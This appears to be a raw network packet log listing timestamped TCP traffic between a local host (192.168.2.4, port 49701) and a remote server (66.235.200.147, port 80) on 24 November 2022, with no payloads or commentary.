Nov 24, 2022 13:27:50.388890028 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.388912916 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388936043 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388940096 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.388961077 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.388983011 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.388986111 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389010906 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389034033 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389039993 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.389084101 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389105082 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.389110088 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389149904 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389151096 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.389175892 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389218092 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389224052 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.389271975 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389313936 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389333010 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.389364958 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389400959 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389415026 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.389437914 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389462948 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389487028 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389492035 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.389512062 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389537096 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389540911 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.389563084 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389586926 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389594078 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.389612913 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389626980 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.389636993 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389661074 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389683962 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389683962 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.389708996 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389733076 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389734030 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.389758110 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389780998 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389780998 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.389806032 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389828920 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389830112 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.389854908 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389873028 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.389878988 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389903069 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389921904 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.389928102 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389954090 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389976978 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.389983892 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390002012 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390026093 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390026093 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390049934 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390074015 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390077114 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390098095 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390120029 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390121937 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390146971 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390168905 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390177011 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390192986 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390216112 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390225887 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390239954 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390264034 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390268087 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390290022 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390305996 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390314102 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390340090 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390362024 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390371084 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390388012 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390408039 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390413046 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390436888 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390455008 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390461922 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390486002 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390503883 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390510082 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390536070 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390558958 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390564919 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390583038 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390588045 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390598059 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390607119 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390623093 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390630960 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390647888 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390655994 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390680075 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390685081 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390705109 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390707970 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390723944 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390731096 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390763998 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390768051 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390780926 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390798092 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390799046 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390818119 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390834093 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390851021 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390867949 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390897036 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390914917 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390932083 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390949011 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390960932 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390978098 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.390986919 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390986919 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390986919 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390986919 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390986919 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390986919 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390986919 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.390986919 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.391005993 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.391005993 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.391042948 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.408672094 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.408875942 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.408950090 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.409028053 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.409048080 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.409069061 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.409085989 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.409111977 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.409116030 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.409152031 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.409154892 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.409192085 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.409193993 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.409233093 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.409235001 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.409274101 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.409277916 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.409317017 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.409317017 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.409358978 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.409364939 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.409404993 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.409430027 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.409475088 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.409605980 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.409657955 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.409713030 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.409754038 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.409756899 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.409796953 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.409799099 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.409838915 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.409838915 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.409881115 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.409883022 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.409923077 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.409923077 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.409965992 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.409965992 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.410010099 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.410010099 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.410051107 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.410052061 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.410093069 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.410094023 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.410135984 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.410136938 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.410177946 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.410178900 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.410221100 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.410222054 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.410257101 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.410264969 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.410301924 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.410375118 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.410422087 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.410553932 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.410603046 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.410636902 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.410679102 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.410681009 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.410721064 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.410721064 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.410774946 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.410782099 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.410828114 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.410830021 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.410873890 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.410902023 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.410947084 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.410952091 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.410996914 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.411000967 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.411046028 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.411051035 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.411098957 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.411101103 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.411143064 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.411149025 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.411190987 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.411195993 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.411240101 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.411243916 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.411290884 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.411497116 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.411544085 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.411629915 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.411675930 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.411678076 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.411722898 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.411727905 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.411772013 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.411777973 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.411822081 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.411828041 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.411870956 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.411876917 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.411920071 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.411927938 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.411973953 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.411983013 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.412025928 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.412033081 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.412072897 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.412077904 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.412116051 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.412121058 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.412164927 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.412169933 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.412214994 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.412218094 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.412260056 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.412291050 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.412334919 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.412370920 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.412415981 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.412442923 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.412489891 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.412610054 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.412653923 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.412683964 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.412728071 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.412733078 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.412775993 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.412781000 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.412823915 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.412827969 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.412873030 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.412878990 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.412925959 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.412936926 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.412971973 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.412975073 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413006067 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413024902 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413038969 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413053989 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413072109 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413086891 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413105965 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413119078 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413140059 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413156033 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413172960 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413189888 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413206100 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413223028 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413239002 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413249969 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413271904 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413290977 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413306952 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413317919 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413340092 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413356066 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413372040 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413388014 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413404942 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413423061 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413439989 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413450956 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413472891 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413489103 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413506031 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413517952 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413539886 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413556099 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413572073 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413583994 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413604021 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413620949 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413636923 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413650990 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413671017 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413686037 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413706064 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413717031 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413737059 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413753986 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413769960 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413784027 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413804054 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413820028 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413836956 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413851023 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413868904 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413887978 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413901091 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413918018 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413933992 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413950920 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.413968086 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.413980961 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.414000034 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414016008 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.414032936 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414048910 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.414066076 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414083958 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.414098978 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414112091 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.414132118 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414149046 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.414165020 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414175987 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.414199114 CET	80	49701	66.235.200.147	192.168.2.4
